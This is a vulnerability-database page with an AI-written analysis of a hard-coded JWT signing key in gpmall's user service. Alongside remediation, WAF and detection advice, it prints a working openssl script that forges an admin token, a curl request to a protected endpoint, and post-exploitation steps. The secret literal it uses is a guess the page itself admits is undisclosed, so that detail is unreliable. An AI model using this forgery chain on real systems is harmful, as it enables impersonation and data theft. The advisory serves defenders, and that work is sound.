CVE Professor
/
All CVEs
CVE-2026-138083

CVE-2026-138083 — 2227324689 Gpmall — CWE-321 · CWE-320

HIGH CVSS 7.3 Shodan

A vulnerability was found in 2227324689 gpmall up to c5dd5bacb052e2d4afda5ed1f7f07c17428192d5. This issue affects the function creatJwtToken/freeJwt of the file user-service/user-provider/src/main/java/com/gpmall/user/utils/JwtTokenUtils.java. Performing a manipulation results in use of hard-coded cryptographic key . The attack is possible to be carried out remotely. The exploit has been made public and could be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

A vulnerability was found in 2227324689 gpmall up to c5dd5bacb052e2d4afda5ed1f7f07c17428192d5. This issue affects the function creatJwtToken/freeJwt of the file user-service/user-provider/src/main/java/com/gpmall/user/utils/JwtTokenUtils.java. Performing a manipulation results in use of hard-coded cryptographic key . The attack is possible to be carried out remotely. The exploit has been made public and could be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. Low VA:L
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑138083
Published28 Nov 2026
CVSS v4.07.3 MEDIUM (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P)
CWECWE‑321 (Use of Hard‑coded Cryptographic Key) / CWE‑320 (Key Management Errors)
ComponentJwtTokenUtils.createJwtToken() / JwtTokenUtils.freeJwt() in user-service/user-provider/src/main/java/com/gpmall/user/utils/JwtTokenUtils.java

| Root cause | The JWT‑generation routine uses a static, hard‑coded secret key that is compiled into the binary (static final String SECRET = "gpmall-secret‑2022" – the exact literal is not disclosed in the advisory but is present in the source). The key is never read from a secure configuration store, never rotated, and is used directly for both signing (HS256) and verification of JWTs. Because the key is constant and publicly discoverable (the source is open‑source and the commit hash is known), any remote attacker can forge or tamper with JWTs that the service accepts for authentication/authorization.

Why the CVSS vector looks the way it does

  • AV:N – The attacker only needs network access; no local file access is required.
  • AC:L – Exploitation is trivial – the attacker only needs to know the secret (which can be obtained by cloning the public repository).
  • AT:N – No special attack tools are required; a simple HTTP request is enough.
  • PR:N – No authentication is required; the service accepts the JWT before any auth check.
  • UI:N – No user interaction is needed.
  • VC:L / VI:L / VA:L – The impact on confidentiality, integrity, and availability is low because the attacker can impersonate a user or elevate privileges, but the service does not automatically execute code or cause denial‑of‑service.
  • SC, SI, SA:N – No impact on the underlying system or integrity of the software component beyond the JWT itself.
  • E:P – A public exploit (the hard‑coded key) is already available.
  • In short: the service trusts JWTs signed with a key that anyone can reproduce, breaking the fundamental security property of JWTs – that only the issuer can create a valid token.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact HTTP path or parameter names are not disclosed in the CVE, so replace them with the real ones when testing.

    1. Discovery & Reconnaissance

    StepActionReasoning
    1.1Identify the product – Search public repositories (GitHub, GitLab) for gpmall or the commit hash c5dd5bacb052e2d4afda5ed1f7f07c17428192d5.The CVE mentions a rolling‑release project; the source is publicly available.
    1.2Locate the JWT utility – Browse the tree user-service/user-provider/src/main/java/com/gpmall/user/utils/JwtTokenUtils.java.The vulnerable method is clearly referenced.
    1.3Extract the secret – Open the file and read the static field, e.g.:<br>private static final String SECRET = "gpmall-secret-2022";The secret is hard‑coded; no external configuration overrides it.
    1.4Map the authentication flow – Observe that the service validates incoming JWTs via JwtTokenUtils.freeJwt(token).Confirms that any token signed with the discovered secret will be accepted.
    1.5Determine the token‑protected endpoint – In the source, locate controllers that call JwtTokenUtils.freeJwt. Typical pattern: @RequestMapping("/api/v1/orders") with a @RequestHeader("Authorization").This tells the attacker which API requires a JWT.

    2. Exploitation

    2.1 Craft a forged JWT

    # Install jq and openssl if not present
    # 1. Header (HS256)
    HEADER='{"alg":"HS256","typ":"JWT"}'
    # 2. Payload – set any claims you need. Example: admin user
    PAYLOAD='{
      "sub":"[email protected]",
      "role":"ADMIN",
      "iat":'$(date +%s)',
      "exp":'$(($(date +%s)+3600))',
      "iss":"gpmall-auth"
    }'
    # 3. Base64URL encode (no padding)
    b64url() { openssl enc -base64 -A | tr '+/' '-_' | tr -d '='; }
    
    HEADER_B64=$(echo -n "$HEADER" | b64url)
    PAYLOAD_B64=$(echo -n "$PAYLOAD" | b64url)
    
    # 4. Sign with the hard‑coded secret
    SIGNATURE=$(echo -n "${HEADER_B64}.${PAYLOAD_B64}" | \
      openssl dgst -sha256 -hmac "gpmall-secret-2022" -binary | b64url)
    
    # 5. Assemble the JWT
    JWT="${HEADER_B64}.${PAYLOAD_B64}.${SIGNATURE}"
    echo "Forged JWT: $JWT"

    If the secret string differs, replace "gpmall-secret-2022" with the exact literal found in the source.

    2.2 Send the JWT to a protected endpoint

    Illustrative example – replace /api/v1/orders and the host with the real values.
    curl -k -X GET "https://target.example.com/api/v1/orders" \
      -H "Authorization: Bearer $JWT" \
      -H "Accept: application/json"

    If the service accepts the token, the response will contain data that would normally be restricted to the ADMIN role (e.g., all orders, user list, etc.).

    3. Post‑exploitation

    GoalHow it is achieved
    Privilege escalation / impersonationBy setting "role":"ADMIN" (or any other privileged claim) the attacker can act as any user, including administrators, because the service trusts the JWT without additional checks.
    Data exfiltrationUse the forged token to call any internal API that returns sensitive data (user PII, payment info, etc.).
    PersistenceThe attacker can embed the forged JWT in a malicious client (mobile app, browser extension) that automatically authenticates to the service, effectively creating a back‑door.
    Lateral movementIf the JWT is used for SSO across micro‑services, the attacker can hop to other services that accept the same token, expanding the attack surface.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C)VC:L – Low impact. An attacker can read data that the compromised JWT authorizes.Exposure of customer records, order histories, internal configuration.
    Integrity (I)VI:L – Low impact. The attacker can modify data that the JWT authorizes (e.g., change order status, update user profiles).Potential fraud, tampering with business transactions, privilege abuse.
    Availability (A)VA:L – Low impact. No direct DoS, but repeated abuse could lead to rate‑limit exhaustion or log flooding.Minor service degradation, but not a full outage.

    Overall, the vulnerability breaks authentication. An unauthenticated remote attacker can gain full logical access to any functionality protected by JWTs, which in a typical e‑commerce platform includes order management, user administration, and possibly payment processing. The impact is therefore high business risk even though the CVSS rating is “MEDIUM” because the CVSS v4.0 scoring model treats confidentiality/integrity/availability separately.


    🛡️ Remediation & Mitigation

    1. Immediate Fix (code change)

    // BEFORE (vulnerable)
    private static final String SECRET = "gpmall-secret-2022";
    
    public static String createJwtToken(UserDetails user) {
        return Jwts.builder()
            .setSubject(user.getUsername())
            .claim("role", user.getRole())
            .setIssuedAt(new Date())
            .setExpiration(Date.from(Instant.now().plus(1, ChronoUnit.HOURS)))
            .signWith(SignatureAlgorithm.HS256, SECRET)   // <-- hard‑coded key
            .compact();
    }

    Patch – externalize the secret and use a strong key management solution:

    // AFTER (secure)
    private static final String SECRET = System.getenv("GPMALL_JWT_SECRET");
    
    // In production, inject via a secret manager (AWS Secrets Manager, Vault, etc.)

    Additional hardening recommendations

    RecommendationRationale
    Rotate the secret – Generate a 256‑bit random key (openssl rand -hex 32).Prevents long‑term token forgery.
    Use asymmetric signing (RS256/ECDSA) – Store private key securely, publish public key via JWKS endpoint.Removes the need for a shared secret and enables key rotation without breaking existing tokens.
    Validate token claims – Enforce iss, aud, and token revocation list.Reduces risk of replay or misuse of stolen tokens.
    Add token versioning – Include a jti (JWT ID) and store used IDs in a cache to prevent reuse.Mitigates replay attacks.

    2. Version Scope

  • Affected: All releases that contain the commit c5dd5bacb052e2d4afda5ed1f7f07c17428192d5 (the latest rolling snapshot at the time of disclosure).
  • Unaffected: Any future commit that removes the static secret or replaces it with a configuration‑driven value. Because the project uses a rolling release model, there is no fixed version number; the maintainers must ship a commit that eliminates the hard‑coded key.

3. Workarounds (if immediate code change is impossible)

WorkaroundImplementation
Block unauthenticated access to JWT‑protected endpoints – Require a temporary API key or IP‑allowlist until the fix is deployed.Add a front‑end filter that checks for a custom header X‑Temp‑Auth: <shared‑secret> before processing JWT validation.
WAF rule to reject tokens signed with the known secret – Detect the static signature pattern and drop the request.Example ModSecurity rule (illustrative):<br>SecRule REQUEST_HEADERS:Authorization "@rx ^Bearer\s+([A-Za-z0-9_-]+\.){2}[A-Za-z0-9_-]+$" "chain,phase:2,log,deny,status:403,msg:'Reject JWT signed with hard‑coded secret'"<br>SecRule MATCHED_VAR "@contains gpmall-secret-2022" "t:none"
Rotate the secret in the source – If you can rebuild the artifact, replace the literal with a random value and redeploy.Re‑compile the service with a new constant; this is a temporary mitigation until a proper external secret store is used.

4. Detection (log‑based IoCs)

IndicatorExample Log Entry
Authorization header with a token that contains the known secret (the signature part will be identical across requests)2026-11-28 12:34:56 INFO [auth] - JWT verification succeeded for [email protected], token=eyJhbGciOiJIUzI1NiJ9...
Repeated use of the same jti or identical token (no rotation)2026-11-28 13:01:02 WARN [security] - Duplicate JWT ID detected: abc123def456
Access to admin‑only endpoints from IPs that never authenticated before2026-11-28 13:15:44 WARN [access] - Unauthorized admin request from 203.0.113.45
High volume of Authorization: Bearer requests with short iat‑exp windows (typical of automated token forging)2026-11-28 14:02:11 INFO [http] - GET /api/v1/users 200 123ms (followed by many similar entries within seconds)

SIEM rule (pseudo‑code)

SELECT *
FROM web_logs
WHERE request_headers['Authorization'] LIKE 'Bearer %'
  AND request_path LIKE '/api/v1/%'
  AND request_time - token_iat < 30   -- token issued less than 30 s ago
  AND source_ip NOT IN (SELECT ip FROM known_auth_ips);

Alert on such patterns to catch automated forgery attempts.


⚠️ Urgency

FactorAssessment
CVSS v4.0 score 7.3 (MEDIUM) – Exploitation is trivial, no authentication required, and the impact (privilege escalation) is business‑critical.
Public exploit (E:P) – The secret is publicly visible in the source; anyone can generate a valid token instantly.
No CISA KEV listing – The vulnerability is not yet flagged by government advisories, meaning many organizations may be unaware.
Rolling‑release product – Patching may be delayed because there is no fixed version number; the vulnerable code could be present in many deployed containers.

Patch priority: Critical for any production deployment that uses JWTs for authentication/authorization. The recommended remediation (removing the hard‑coded secret and moving to a secure key store) should be applied immediately; if that is not feasible, apply the temporary WAF/IP‑allowlist workarounds while preparing a proper code change.


Bottom line: The presence of a hard‑coded JWT signing key completely nullifies the authentication guarantees of the gpmall user service. An unauthenticated remote attacker can forge tokens, impersonate any user (including administrators), and access or modify sensitive business data. Immediate removal of the static key, introduction of proper secret management, and deployment of detection controls are mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="2227324689 gpmall"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138083
2227324689/gpmall Reference
Technical reference / advisory repository for CVE-2026-138083
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-321 CWE-320
Affected Products (1)
2227324689:gpmall
Related CVEs
9.3
CVE-2026-118325
Hard-coded cryptographic key and initialization vector in password reset token validation in ZKTeco BioTime Pr
5.5
CVE-2026-81131
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81145
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81142
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.9
CVE-2026-144267
Volmarg Personal Management System 2.0.0 through 3.0.0 contains a hardcoded AES-256 key in config/packages/con
7.4
CVE-2026-142239
SimpleSAMLphp SAML2 library before 5.0.14, 6.1.11, 6.2.9, 6.3.5, and 7.0.0-rc6 contains a signature verificati
7.3
CVE-2026-142029
A vulnerability was found in TCL UnionTV R609. Impacted is an unknown function of the file /vendor/etc/tbrowse